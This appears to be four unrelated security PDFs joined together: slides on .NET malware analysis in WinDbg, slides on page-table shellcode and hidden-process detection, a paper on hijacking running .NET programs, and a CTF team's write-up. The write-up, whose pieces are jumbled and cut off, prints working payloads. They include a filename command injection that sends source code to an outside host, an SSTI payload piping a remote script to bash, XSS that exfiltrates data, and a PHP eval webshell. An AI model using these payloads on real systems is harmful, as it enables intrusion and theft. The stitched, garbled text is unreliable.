USA 2019 77 Dump information about a specific module Dump information about the assembly (as shown previously) Data accessed and/or updated less frequently Data accessed and/or updated very frequently Data used to help COM operations ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 78 Displays the MethodTable structure and EEClass structure ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 79 Bad intentions? ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 80 PreJIT: pre-compiled code JIT: compiled Code NONE: the code hasn’t been compiled by the JIT. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 81 Shows information about the EEClass structure Set up a breakpoint on a code that is not JIT yet. Displays the MethodTable structure and EEClass structure of test.Client.Verbinden method. Displays the MethodDesc structure information ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 82 Dumps out arrays Performs stack walking and display managed objects from current thread ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 83 Value Type: 1 Reference: 0 Method Table of the field ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 84 As a general overview, during allocation requests: If the maximum expected memory for the Gen0 is exceeded, collect non-rooted objects and promote rooted objects to Gen 1. The same approach is valid when collecting objects from Gen 1 and Gen 2. If Gen 2 is exceeded, so GC adds a new segment to Gen 2. Objects in Gen 0 and 1 are short-lived. Reference chain to the object from stack... from handle tables... ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 85 The Finalization Queue contains objects with finalizers (Finalize( )). When an object in Finalization Queue becomes rootless, so the GC put it into the f-reachable queue, which are considered garbage (but alive). ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 86 Excessive or long-time pinned handles can cause CLR heap fragmentation. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 87 Dumps the process to later analysis Look for the string in the managed heap. It shows information about locks Make easier to find deadlocked threads Displays information about a type or variable It could seems unbelievable, but some malware samples don’t work because deadlocks If there is some deadlock, so use the DumpObj command to find additional information about the thread. CCW: COM Callable Wrapper RCW: Runtime Callable Wrapper, which intercepts, manage the object’s lifetime and the transition between managed code and native code. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 88 Remember that an event works as synchronization object. When an event happens (going from non-signaled state to signaled state), the waiting thread (WaitForSingleObject( )) starts its execution. Auto reset: If the event is signaled, so allows the thread being release and it is automatically reset to non-signaled state. Manual reset: the event remains in signaled state until being intentionally reset. Other synchonization techniques could be Semaphores, ReaderWriterLock, Mutex and so on... It shows specific-object handle information ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 89 Additionally, it is always recommended to investigate the current stack, looking for some interesting string Few hints about our malware... ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 90 Get objects (and their respective metadata) stored in the heap. To a short output, use !DumpHeap -stat Dumps the heap, but limit the output to the specified type name. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 91 Displays information about the method table ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 92 Boxing turns a value type into an object reference (reference type) Unboxing turns a object reference into a value type !DumpIL displays the IL instructions of a method ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 93 !DumpHeap -strings is always excellent to find valuable strings. If you can’t recognise these strings, they are related to banks. ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER DEF CON USA 2019 94 Surprise... is it malicious? https://github.com/alexandreborges/malwoverview DEF CON USA 2019 95 ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER Acknowledgments to: DEF CON staff, who have been always very kind with me. You, who have reserved some time attend my talk. Security is like a drunk: while walking back-and-forth, he always proceeds halfway through the remaining distance, but he never gets there. Remember: the best of this life are people. DEF CON USA 2019 96 Malware and Security Researcher. Speaker at DEF CON USA 2018 Speaker at DEF CON China 2019 Speaker at CONFidence Conference 2019 (Poland) Speaker at HITB 2019 Amsterdam Speaker at BSIDES 2019/2018/2017/2016 Speaker at H2HC 2016/2015 Speaker at BHACK 2018 Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics and Rootkits. Reviewer member of the The Journal of Digital Forensics, Security and Law. Referee on Digital Investigation: The International Journal of Digital Forensics & Incident Response THANK YOU FOR ATTENDING MY TALK. Twitter: @ale_sp_brazil @blackstormsecbr Website: http://www.blackstormsecurity.com LinkedIn: http://www.linkedin.com/in/aleborges E-mail: [email protected] ALEXANDRE BORGES – MALWARE AND SECURITY RESEARCHER Blackstorm Security: we offer one of best training courses around the world.
pdf
IOActive, Inc. Copyright ©2014. All Rights Reserved. Weird-Machine Motivated Practical Page Table Shellcode & Finding Out What's Running on Your System Shane Macaulay Director of Cloud Services IOActive, Inc. Copyright ©2014. All Rights Reserved. The Long Road • Barnaby Jack, forever in our hearts and minds. “It’s  about  the  journey  not  the  destination.” IOActive, Inc. Copyright ©2014. All Rights Reserved. 13 Years since ADMMutate (slide URL) http://1drv.ms/1xUpxL9 • ADMmutate (last DC talk was about polymorphic shellcode) • The more things change – The more they stay the same • Thought about PT shellcode with ADMMutate • Attack is [hard/stress/]fun!!&$&%*:P;p;P • Defense is hard/stress IOActive, Inc. Copyright ©2014. All Rights Reserved. Abusing x for fun & profit! • It’s  usually the  QB  that  get’s  the  headlines,  offensive   bias in hacker scene! • Defense  is  grind’s  it  out  for  little  glory. – Let’s  energize  the  “D”  here,  have  some  fun!! • A Defensive exploit – Ultimately today were killing process hiding rootkits cross 64bit OS/Platforms TODAY! – DKOM IS DEAD! Process hiding is DEAD! IOActive, Inc. Copyright ©2014. All Rights Reserved. Also 13 Years ago • What else was going on back then? – x86 assembler in Bash “cLIeNUX” “shasm is an assembler written in GNU Bash Version 2, which may work in other recent unix-style "shell" command interpreters.” IOActive, Inc. Copyright ©2014. All Rights Reserved. Ideals • As best as possible, figure out all running code – Code/hacks/weird machine's included/considered – When have we done enough? • We focus on establishing our understanding through real world targets: Hypervisor monitored guests. • Combine protection pillars; structure analysis, physical memory traversal and integrity checking. IOActive, Inc. Copyright ©2014. All Rights Reserved. Practical concepts • Attacks: WeIrD MaChinE – Lots of fun! • Much esoteric/eclectic More fantastical!!! • Defense: Detecting * That means everything – Home  field  ==  USE  THE  “FORCE”  A  HYPERVISOR! • Establishes verifiability of device state (i.e. not worried about platform attacks e.g. BIOS/firmware/UEFI) • Games in fault handler do not work on snapshot, even just extracting physical memory can be hard • Protection from virtualized (Dino Dai Zovi), that is serious/obvious impact to performance when nested. IOActive, Inc. Copyright ©2014. All Rights Reserved. Practical Page Table ShellCode Motivations • An attack devised to understand memory protection systems – Development necessitated comprehensive understanding of inner workings, system fault handling complexities and some of the lowest level (brain melting, see reference below) interaction of software and hardware on modern 64bit platforms. – Until Windows 7, page tables directly executable • NonExecutable is opt-in/non-default – The page-fault weird machine: lessons in instruction-less computation • Julian Bangert, Sergey Bratus, Rebecca Shapiro, Sean W. Smith from WOOT'13 Proceedings of the 7th USENIX conference on Offensive Technologies IOActive, Inc. Copyright ©2014. All Rights Reserved. X64 Kernel Virtual Address Space http://www.codemachine.com/article_x64kvas.html Start End Size Description Notes FFFF0800`00000000 FFFFF67F`FFFFFFFF 238TB Unused System Space WIN9600 NOW USE & CAN CONTAIN +X AREAS FFFFF680`00000000 FFFFF6FF`FFFFFFFF 512GB PTE Space -X used to be executable Win7 FFFFF700`00000000 FFFFF77F`FFFFFFFF 512GB HyperSpace 8.1 seems to have cleaned up here, 9200 had 1 +X page FFFFF780`00000000 FFFFF780`00000FFF 4K Shared System Page FFFFF780`00001000 FFFFF7FF`FFFFFFFF 512GB-4K System Cache Working Set FFFFF800`00000000 FFFFF87F`FFFFFFFF 512GB Initial Loader Mappings Large Page (2MB) allocations FFFFF880`00000000 FFFFF89F`FFFFFFFF 128GB Sys PTEs FFFFF8a0`00000000 FFFFF8bF`FFFFFFFF 128GB Paged Pool Area FFFFF900`00000000 FFFFF97F`FFFFFFFF 512GB Session Space FFFFF980`00000000 FFFFFa70`FFFFFFFF 1TB Dynamic Kernel VA Space FFFFFa80`00000000 *nt!MmNonPagedPoolStart-1 6TB Max PFN Database *nt!MmNonPagedPoolStart *nt!MmNonPagedPoolEnd 512GB Max Non-Paged Pool DEFAULT NO EXECUTE FFFFFFFF`FFc00000 FFFFFFFF`FFFFFFFF 4MB HAL and Loader Mappings IOActive, Inc. Copyright ©2014. All Rights Reserved. Page Table ShellCode weird-machine • Win7- and earlier – Can we emit intended shellcode into PTE area? • Call VirtualAlloc() from user space results in executable memory in kernel – Just reserving memory causes a code-write operation into kernel space PXE at FFFFF6FB7DBEDF68 PPE at FFFFF6FB7DBEDF88 PDE at FFFFF6FB7DBF1008 PTE at FFFFF6FB7E201EA0 contains 0000000000187063 contains 0000000134C04863 contains 0000000100512863 contains 000000002DC3B863 pfn 187 ---DA--KWEV pfn 134c04 ---DA--KWEV pfn 100512 ---DA--KWEV pfn 2dc3b ---DA--KWEV IOActive, Inc. Copyright ©2014. All Rights Reserved. PT SC WM Died with Win8 (below) • This works earlier than Win7, interesting to examine fault handling, but ultimately Win8 this is dead! Child-SP RetAddr Call Site ffffd000`2b34ecf8 fffff800`16066ee1 nt!LOCK_WORKING_SET ffffd000`2b34ed00 fffff800`1603f5ad nt!MiSystemFault+0x911 ffffd000`2b34eda0 fffff800`1615af2f nt!MmAccessFault+0x7ed ffffd000`2b34eee0 fffff6fb`77fde37a nt!KiPageFault+0x12f ffffd000`2b34f078 fffff800`01e423fe 0xfffff6fb`77fde37a ffffd000`2b34f080 fffff800`163ae3e5 SIoctl!SioctlDeviceControl+0x27e ffffd000`2b34f9b0 fffff800`163aed7a nt!IopXxxControlFile+0x845 ffffd000`2b34fb60 fffff800`1615c4b3 nt!NtDeviceIoControlFile+0x56 ffffd000`2b34fbd0 00007ff9`c1b265ea nt!KiSystemServiceCopyEnd+0x13 0000003a`ba9bf8f8 00007ff9`bef92c83 ntdll!NtDeviceIoControlFile+0xa IOActive, Inc. Copyright ©2014. All Rights Reserved. What about new tool (wanted ptshellcode thingy)? • Was going to do a talk with an expansion of the PT shellcode concept – Was it going to be an ADMmutate update? .NET Compiler  thingy  some  set  of  C  macro’s  or  little  script  host   RoP builder/engine/host? • Application of technique is mostly dead, requires an info leak(maybe) and what about use bash to write it? IOActive, Inc. Copyright ©2014. All Rights Reserved. Some peace of mind – really! • cross platform AMD64 process detection technique – obsoletes process hiding techniques used by all rootkits/malware! • Process hiding rootkits/malware technology being typical of APT • Detection can be used as an attack (defensive attack pattern) – Defensive Exploit against ALL ROOTKITS! IOActive, Inc. Copyright ©2014. All Rights Reserved. The big picture ProcDetect • Ultimately decided on a more advanced, and useful, tool for release today – Hear it for the D! • ProcDetect should be with DefCon materials – Signed code example for AMD64 Windows • Other platform/OS to follow IOActive, Inc. Copyright ©2014. All Rights Reserved. Attack v Defense • Defensive Window of opportunity – Closing the door/window today! • Defensive tactics can be new classes of defensive attack techniques – Offensive Forensics / Automation – Use the process detection here to post process and detect any/every hidden process ever spawned for all TIME! – Keep interesting/known memory dumps around Right now; there are no possible attacks against this technique (“WE FOUND YOU!”) IOActive, Inc. Copyright ©2014. All Rights Reserved. In Memory Process Detection • Dumping memory is a pain physically • Scanning VS. List traversal • Scanning – Can be very slow – Tends to be high assurance • Link/Pointer Traversal – Easily confused – Super Fast ! IOActive, Inc. Copyright ©2014. All Rights Reserved. What’s  a  Process? • A Process is an address space configuration – A container for threads which are executed on a CPU. – Threads share address space. – Hard to know if you have them all. – Can’t I inject a library/thread to an existing process? • Code overwrite or injection is an integrity issue – Hash Check IOActive, Inc. Copyright ©2014. All Rights Reserved. Process Detection • Volatility to the rescue! https://code.google.com/p/volatility/wiki/CommandRefer ence#psxview – It compares the following logical identifiers: • PsActiveProcessHead linked list • EPROCESS pool scanning • ETHREAD pool scanning (then it references the owning EPROCESS) • PspCidTable • Csrss.exe handle table • Csrss.exe internal linked list (unavailable Vista+) IOActive, Inc. Copyright ©2014. All Rights Reserved. Takahiro Haruyama -- April 2014, discuss his BH Europe 2012 talk with respect to Abort Factors. IOActive, Inc. Copyright ©2014. All Rights Reserved. 64bit Process Detection • Earlier presentation for kernel code – E.g. CSW14 Diff CPU Page table & Logical kernel objects (to  detect  hidden  kernel  modules,  “rootkit  revealer”) • Also uses page tables “Locating  x86  paging  structures  in   memory  images”   https://www.cs.umd.edu/~ksaur/saurgrizzard.pdf – Karla Saur, Julian B. Grizzard • New process detection technique is faster - single pass – Similar  to  “pmodump”,  enhanced  with  64bit  &  additional   checks (64bit scan has much more verifiability) IOActive, Inc. Copyright ©2014. All Rights Reserved. 64bit Process Detection Integrity • Not easily attacked – Many modifications result in BSOD – Able to extract candidate memory for integrity checking of memory pages to fully qualify • Can make “non-abortable”  if willing to do slower check • Current check is really good – Always room to grow with respect to countermeasures and performance IOActive, Inc. Copyright ©2014. All Rights Reserved. A quick indirection • Slides 37-39 from Dave Probert (Windows Kernel Architect, Microsoft) – Windows Kernel Architecture Internals • Next  slide  show’s  a  big  hint,  can  you  guess?  It’s  an   example of process page table layout/configuration. – You have  to  love  all  of  those  arrow’s   IOActive, Inc. Copyright ©2014. All Rights Reserved. IOActive, Inc. Copyright ©2014. All Rights Reserved. Self Map trick in Linux • Virtual Memory in the IA-64 Linux Kernel – Stephane Eranian and David Mosberger • 4.3.2 Virtually-mapped linear page tables “linear  page tables are not very practical when implemented in physical memory” “The  trick that makes this possible is to place a self-mapping entry in the global directory.” IOActive, Inc. Copyright ©2014. All Rights Reserved. Self Map process detection Windows AMD64 • Self Map exists for each process (not only kernel:) • Examining a page table - !process 0 0 dirbase/cr3 (e.g. 7820e000) !dq 7820e000 #7820e000 00800000`60917867 !dq 7820e000+0xf68 #7820ef68 80000000`7820e863 ^-- current PFN found --^ (PFN FTW) IOActive, Inc. Copyright ©2014. All Rights Reserved. PFN FTW Trick! (or Defensive exploit!!) #7820ef68 80000000`7820e863 ^----------^ 64Bit is a more powerful check Valid PFN will be bounded by system physical memory constraints IOActive, Inc. Copyright ©2014. All Rights Reserved. Self Map Detection Attacks • Attacks against performance – If we de-tune performance we can validate spoof entries and various malformed cases – Windows  zero’s  memory  quickly  (no  exiting  processes,  so   far:) • !ed [physical] can be done to assess evasive techniques – Simply destroying self map results in BSOD!! – Looking for feedback testing to identify better more comprehensive PTE flag checks (edge cases, missed tables or extra checks) IOActive, Inc. Copyright ©2014. All Rights Reserved. Implementation (basically in 1 line) IOActive, Inc. Copyright ©2014. All Rights Reserved. Example execution (.vmem starts @0 offset), .DMP (0x2000+) or other autodetect header offset IOActive, Inc. Copyright ©2014. All Rights Reserved. Detect processes of guests from host dump • A host memory dump will include page tables for every guest VM process as well as host process entries – Lots of room to grow here, deep integration with HyperVisor page mapping data may be straight forward • E.g. parsing of MMInternal.h / MMPAGESUBPOOL in VirtualBox • Issues – Hypervisor may not wipe when moving an instance or after  it’s  been  suspended  (ghost  processes) • I’d  rather  detect  ghosts  than  fail   • Nested paging not a problem IOActive, Inc. Copyright ©2014. All Rights Reserved. Skew is evident for guest instances. An typical kernel PFN is observed (scream 187 to a mo…) as the first (large jump 0x2..->0x4…)  in  a  range   of skewed diff values (another layer of decoding to adjust, similar to what happens when snapshot is requested and disk memory is serialized) Initial values reflective of host system, consistent Diff values Final host processes identifiable by Diff realignment IOActive, Inc. Copyright ©2014. All Rights Reserved. Detected Memory Runs • Round value by offset to find gap size, adjust to automate memory run detection – Takahiro Haruyama blog post on related issue (large memory) and also memory run detection issues from logical sources • *previous slide, detecting gap, when offset changes; – ROUND_UP(0xb4b56000, 0x40000000) = first run end 0xc0000.. – ROUND_DOWN(0x1181f1000, 0x40000000) IOActive, Inc. Copyright ©2014. All Rights Reserved. Future Weird Machine overload ? • Microsoft Research – Tracking Rootkit Footprints with a Practical Memory Analysis System -- Weidong Cui, Marcus Peinado, Zhilei Xu, Ellick Chan – “The  goal  of  MAS  is  to  identify  all  memory  changes  a   rootkit  makes….  MAS  does  so  in  three  steps:  static analysis, memory traversal and integrity checking” • Seems really hard problem (source code used in MAS), how can we verify this level of state? IOActive, Inc. Copyright ©2014. All Rights Reserved. Public symbols to the rescue’ish • Public symbols, RTTI or other type inference technique to find/root(tree/linked) all pointers – Thread stack return into verifiable code • Anti RoP Attack – Advanced methods kernel pool (does not require source) verification • Integrity Checking of Function Pointers in Kernel Pools via Virtual Machine Introspection – At least kernel alerts, logs and various tracing can be trusted if we have code integrity, process/thread detection. – Future is not too bad for Defense! IOActive, Inc. Copyright ©2014. All Rights Reserved. Summary • Attacks: WeIrD MaChInE – Worst case scenario most weird machine activity can hopefully be detected through simple tracing, logging and monitoring tools • What about the next GPU/UEFI backdoor? use a hypervisor guest to establish device/low layer trust capability • Defenses: Detecting hidden 64bit processes • Deep future holds deep verifiability for more devices (get free The Memory Cruncher™  TMC  &  BlockWatch ™  )   • FINALLY DEFENSIVE FUN & PROFIT! With the D! IOActive, Inc. Copyright ©2014. All Rights Reserved. Summary • Always use a VM – At least simplify memory dumping • Use ProcDetect – Have fun detecting! – Process hiding rootkit is dead – 64bits helps peace of mind • We can detect a process anywhere (host, guest, nested, on the network (probably)! IOActive, Inc. Copyright ©2014. All Rights Reserved. Issues, Considerations Caveats • Use a hypervisor – secure the guest/host (very hardened host) – Hypervisor  escape  ==  you’re  a  high  value  to  risk  nice  exploit • Probably NOT YOU! • BluePill type attacks, hopeful still to consider (but perf hit of nesting should be obvious) • SefMap Detection relies on page table. – Maybe  “no paging process”– (same as x86 paging paper) – TSS considerations, monitor other tables with stacks? – Remote DMA? • Please no! IOActive, Inc. Copyright ©2014. All Rights Reserved. Thank you & Questions • I hope I referenced earlier works sufficiently, this topic is broad and expansive, thanks to the many security professionals who analyze memory, reverse-engineered, dove deep and discussed their understanding. • References, follow embedded links and their links
pdf
Attacking .Net Applications At Runtime By: Jon McCoy Abstract This paper will introduce methodology for attacking .NET programs at Runtime. This attack will grant control over the targets variables, core logic, and the GUI. This attack is implemented with .NET code, and is heavily based on reflection. This paper has a C# implementation of this attack: DotNetSpike Introduction This attack can navigate and control a live program by using the rules of the Runtime system to control other .NET applications. Some rules can be bent others can be broken. Once access to another program’s Runtime is gained almost absolute control is at hand. Most every aspect from Objects to Events can be accessed, and most of the time modified. This allows for simple attacks like changing an Object’s values or calling functionality, and more complex attacks like introducing or changing the basic logic of the target can be done with ease. With this level of control the target can be forced to divulge protected information, carry out subverted functionality and send corrupted signals. This attack will also allow for accessing the code base and Object structure live. This platform can allow an attack to be developed and implemented in a matter of minutes or hours. Once inside of the target program the necessary references need to be found, and then full power of .NET can be used. After gaining all the references it can be a matter of changing one variable or introducing one line of code to subvert a program's logic. Access Live .NET Program The first step is to establish a connection inside of the target’s Runtime; this is done in a number of ways. This can range from compromising the .NET Framework 1 to exploiting a glitch in a specific application. Each method of accessing another application’s Runtime has a different impact on stability, foot print and security alerts. Also the method of entry used will change what references are at hand and what if any constraints will be imposed. The method of access used in this paper is injection by the Windows OS. This method is platform dependent as well as highly detectable by Anti-Virus programs, and starts with no references. However, this method has a fast development cycle. The security constraints come into play at this point. Is the target a weak program running on a controlled system? Can it be attacked, dissected and restarted a million times? Or perhaps it is a heavily secured program on a server somewhere, and it must not be crashed or restarted. Depending on the environment and the goal a delivery method would be selected that best fits. No matter what method of entry is used the end effect is to create a way of gaining access to the targets program’s Appdomain and Objects. Once this is accomplished it will allow the payload to dig into the logic and structure of the target application. This paper has a demo implementation of injection into a .NET application: Injector this is a C# program, with C++ unit, that will inject .NET application running on Microsoft Windows compatible with both 32 bit and 64 bit. 1 .NET Framework Rootkits – By: Erez Metul http://www.applicationsecurity.co.il/english/NE TFrameworkRootkits/tabid/161/Default.aspx Controlling the Runtime After gaining access to the target’s Runtime, it is necessary to get a reference to some Object(s). This is the most difficult part of the attack as you have none of the keys, but luckily you also have no doors. So how do you get to an Object if you don’t have any references? Luckily most programs have a GUI and the OS we can retrieve a reference to this Object. In addition, looking for other types of Objects, like global variables and events can be an easy source of references. After establishing a reference to an Object inside of the target's Runtime, it can be leveraged to gain more references to other Objects. Depending on the layout of the target application and the manner of entry, it will take more or less work to get references and implement the necessary changes. As each Object is traversed, the code for each function can be easily accessed. This along with clean readable code naming can make for an intuitive attack. Say the goal is to attack the GUI on a target program. Start out by asking the Windows OS about the target's GUI window handles (using an on screen location or PID) and use that information to build a Reference to the GUI Object. This GUI Object will be inside of the target’s Runtime, and as such can now be accessed and controlled. Once this reference is created it can be used to find references to other Objects. Iterating over all the Form's child controls and their Event's can gain a far number of references. Perhaps we find a key Object of the application, such as a timer or SQL connection, that can be leveraged to affect the system. Anything from changing a variable to invoking functionality can be implemented at this point. Objects can with some skill and effort be replaced live. This allows the attackers to change the core logic granting a god mode of sorts. What is an Object at Runtime Objects can be asked what Type they are, and what they implement. This in turn gives a Class list, on complex Objects this can be a few levels of inheritance and interfaces. Once the Class of an Object is found it can be referenced, and the Class can be queried as to what functions it implements and what variables it contains. With this information, it is possible to access constructors, Events, variables, and properties. This allows an Object to be manipulated and controlled. GUI The Graphical User Interface(GUI) also known as a Form is a key part of most programs, and is an easy entry point for this attack. Using the Windows OS to get a reference to the GUI Objects will get a good foothold into the heart of the program. After establishing a reference to the main GUI, a reference to each child control is easily accessed, and in turn will lead to most of the core Objects in the program. A good place to start looking for references is in variables or Event lists. Take a Button on the main Form, assuming good N-Tier design, the Button will have a Click Event connected to some business logic deep in the program. Your target could be the GUI it self, perhaps the need is to access to a disabled Check Box or override the functionality of a Text Box sanitization event. This is done with ease as the GUI Controls are Objects subject to the same modification and influences as any other Object. However, the GUI imposes an extra constraint of thread safety. Anytime modifications are made to a GUI Control it must be done from a parent thread. To satisfy this move the execution point to inside of a parent thread or call Invoke on a parent Object. Events Events are a key aspect of the logic flow to most programs today as well as a probable link to functionality and references. Events are an Object and as such can be controlled. The basic idea of the Event is to execute a list of function calls. This can be used to gain a reference to an Object or change logic flow. For instance, a timer Object that is the heart beat for the programs could have a number of Objects connected directly to the Timer’s Elapsed Event. Each entry in the Event list is a connection to a function that could lead to a reference. If just one Event call is intercepted it could alter the flow of the application. A fair amount of key logic is connected to Events, such as, on a Button, Text Box, or Timer. This logic will (most of the time) be on key Objects. This can be used as a shortcut to get directly to logic and Objects. Accessing Source Code The raw structure is maintained in IL, for example x passed into FOO(int varIN) is 0002 : ldarg.0 0003 : ldfld int App.Form1 ::x 0008 : call instance System.Void App.Form1::foo() Assuming that the code is well written and not obfuscated we can move between Objects in an application with confidence. If we can see well-named variables and functionality it is no harder then working on someone else's code. If we do not have well-named Objects it can slow the process down, but with a good understanding of the basic functionality it would most likely only take a few(10-60) minutes to reconstruct a small peace of strongly obfuscated logic(code). Dynamic functions can be created and add at Runtime, giving a nice path for incorporation of new logic. Some logic can also be unloaded in an attempt to hide the foot print of the attack. The language the target program was written in makes little difference to this attack. Because it should be expected that the code will be obfuscated and thus cannot be reversed (fully) to any wrapper language. When evaluating code, IL should be chosen as the primary language of study for long term work in this area. Legitimate uses This level of control over other applications has legitimate uses as well, such as to extend a program or implement an upgrade. With this it is possible to extend or reuse another application in new and different ways. It is also possible to combine other applications to form a new system, taking them far beyond the original purposes. Conclusion: Going in Blind If the target is an unknown program and only the Runtime is at hand to work with you will have to work in its world, but you can bring your tools. If the OS or Framework has been compromised it will tip the balance of power in our favor, if the target has other programs or security setup to protect itself, the attack will be that much harder. Once a suitable way into the target is found the tactics of this attack should work the same. Some basic methods of learning about the target should be done. Such as running reconnaissance attacks a few times to see the flow of the program. This will give insight into the target's design and infrastructure. Jumping around the GUI controls and classes can get directly to objects. Also if possible dissecting the target will give information and help develop the attack. The real strength of this attack is in how fast and easy it is to adapt and control a running program. The tools used in this attack are in the core of .NET, and for the most part, are in every version and as such should apply to any .NET app. Tools and Rules of the Runtime Objects are derived from and instantiated by classes, and must be referenced by a chain of execution. This links every Object together in a predictable way. A Class has a list of variables and functions that can be accessed (both public & private). This can be used to learn about an Object and it's connects, or to control and manipulate it. The Code is in IL (most of the time) and can be examined, but cannot be edited (this rule can be broken). The code is solid but the logic can be manipulated. This will allow the behavior of the program to be controlled as the attacker wishes. A Reference is needed in order to access an Object (this rule can be bent). Once a few objects are referenced. It will be easy to get around inside of a program to find the necessary other references, as most everything is connected. Additionally some references can be created from information. Reflection is a complex topic, so in short, allows for information to be gathered about an Object. The long version would be, it is the part of .NET that allows for introspection of Objects, where do they come from, what are they made of, how can they be accessed, and what they will do. This is a key tool to understand for this attack but in order to cover this would take a paper in itself. If you would like to find out more about reflection and how it works at the code leave check out my paper: Reflection's Hidden Power Background & Basics of .NET The .NET framework is an open standard implemented on a number of different platforms 2. .NET has the largest developer community ever, with a cross platform portability never before seen; surpassing the last generation of languages such as C++ and JAVA. .NET run's on Intermediate Language(IL) code, this can be thought of as a meta language. Most people code in a wrapper language such as C#, VB.Net, MC++ and more are crated each year. The wrapper language allows programmers to wonk on a platform resembling the language they are accustom to. IL is the code that runs inside of .NET, it is code generated from compilation and processing of a wrapper language. IL is a base set of commands that strongly resembles assembly code. Every command in a wrapper language is converted into it’s component IL command(s). This is in turn converted at some later point on a users' computer to machine code for a specific hardware set. .NET is a framework consisting of a Common Language Infrastructure(CLI) that houses the Common Language Runtime(CLR). The CLR is a virtual machine at the heart of .NET; it is commonly known as the .NET Runtime or just the Runtime. The Runtime is what most people think of as the core of .NET as it manages the Just-in-Time(JIT) compiler, threads, IO, garbage collector and more. The Runtime is predominantly what the attack in this paper is exploiting. 2 .NET is supported on - Linux, FreeBSD, OpenBSD, NetBSD, Microsoft Windows, Solaris, OS X, ARM, MIPS, Android, IPhone, Nokia, Blackberry, Windows Mobile, Web and more. References and Influences James Devlin www.codingthewheel.com Sorin Serban www.sorin.serbans.net/blog/ Erez Metula paper: .NET reverse engineering & .NET Framework Rootkits Thanks to assistance of Thanks to assistance of Lynn Ackler Thank you for the mentorship and training in forensics. Daniel DeFreez Thank you for the help on research and vulnerability analysis (also the metasploit module) :-) Andrew Krug Thank you for the advanced IT support & shinyness. Adam REDACTED Thanks you for the IT Support; specifically hardware.
pdf
CyBRICS CTF By Nu1L Author:Nu1L CyBRICS CTF By Nu1L WEB Hunt Developer's Laptop Gif2png Woc RE Hide and Seek Baby Rev Polyglot NetWork XCorp Google Cloud rebyC CatGirl Breach Quiz Hellish Reverse Cyber Serial Too Secure Broken Invitation CTB Pwnogram DockEsc Forensic Krevedka Keyshooter WEB Hunt flag Developer's Laptop http://prod.free-design-feedback-cybrics2020.ctf.su/ var http = new XMLHttpRequest(); var url = '<http://127.0.0.1:5000/>'; Gif2png filename="sites'|curl ack.x$(cat main.py | head -n 20| base64 | cut -c 41- 50).xxx.ceye.io|echo'.gif" Woc var payload = "{{[].__class__.__base__.__subclasses__() [132].__init__.__globals__['system']('curl <https://ctf2020.nu1l.com/> | bash')}}"; var params = "url=http://ctf2020.nu1l.com&score=11%25&feedback=a"+escape(payload)+"b"; http.open('POST', url, true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if(http.readyState == 4 && http.status == 200) { var res1 = http.responseText; var getp = res1.match('(\\\\?name\\\\=[^\\\\"]*)')[1]; var http2 = new XMLHttpRequest(); var url2 = '<http://127.0.0.1:5000/notes'+getp;> http2.open('GET',url2,true); http2.onreadystatechange = function() { if(http2.readyState == 4) { var a =http2.responseText; var b = btoa(a); window.location="<http://ctf2020.nu1l.com/?b=>"+b; } } http2.send(); } } http.send(params); */)); @eval($_POST[x]); ?> $requiredBlocks = [ 'id="back"', 'id="field" name="field"', 'id="digit0"', 'id="digit1"', 'id="digit2"', 'id="digit3"', 'id="digit4"', 'id="digit5"', share /calcs/f6fdffe48c908deb/056f35d6-6102-4ed3-a369-0642877253be.php POST x=system('cat /flag'); RE Hide and Seek main flag Mathematica cybrics{HI_this_is_fake_flag} start stdin cybrics{HI_this_is_fake_flag} syscall open ./.realflag 32 bytes realflag len(realflag) == 32 http://www.chronox.de/crypto-API/crypto/userspace-if.html https://github.com/nibrunie/af_alg-examples/blob/master/examples/stream_hash.c linux crypto API hash sha1 fake flag hash skcipher cbc(aes)hash sha1 0x10 cbc(aes) key realflag 'id="digit6"', 'id="digit7"', 'id="digit8"', 'id="digit9"', 'id="plus"', 'id="equals"', ]; POST /?p=calc&template=d4c9e87e-9ac8-4a2f-b280-77b0a8e9690d field=1/*&share=1 import hashlib from binascii import unhexlify from Crypto.Cipher import AES def main(): fake_flag = 'cybrics{HI_this_is_fake_flag}' v5 = [0] * 16 v6 = [0] * 16 v5[0] = -66 v5[1] = 67 v5[2] = 26 v5[3] = 58 v5[4] = 26 v5[5] = -57 Baby Rev v5[6] = -109 v5[7] = -18 v5[8] = 90 v5[9] = 127 v5[10] = 119 v5[11] = 60 v5[12] = 110 v5[13] = 81 v5[14] = 12 v5[15] = 32 v6[0] = -20 v6[1] = 123 v6[2] = -121 v6[3] = 44 v6[4] = -51 v6[5] = -125 v6[6] = 61 v6[7] = -86 v6[8] = -106 v6[9] = -78 v6[10] = 99 v6[11] = -68 v6[12] = 33 v6[13] = 98 v6[14] = -108 v6[15] = 66 enc = v5 + v6 for i in range(32): enc[i] &= 0xff enc = bytearray(enc) hash_object = hashlib.sha1(fake_flag.encode()) sha1_hash = unhexlify(hash_object.hexdigest()) key = sha1_hash[:16] iv = 16 * b'\\x00' encryptor = AES.new(key, AES.MODE_CBC, IV=iv) flag = encryptor.decrypt(enc) print(flag.decode()) if __name__ == '__main__': main() Polyglot C C++ secret = 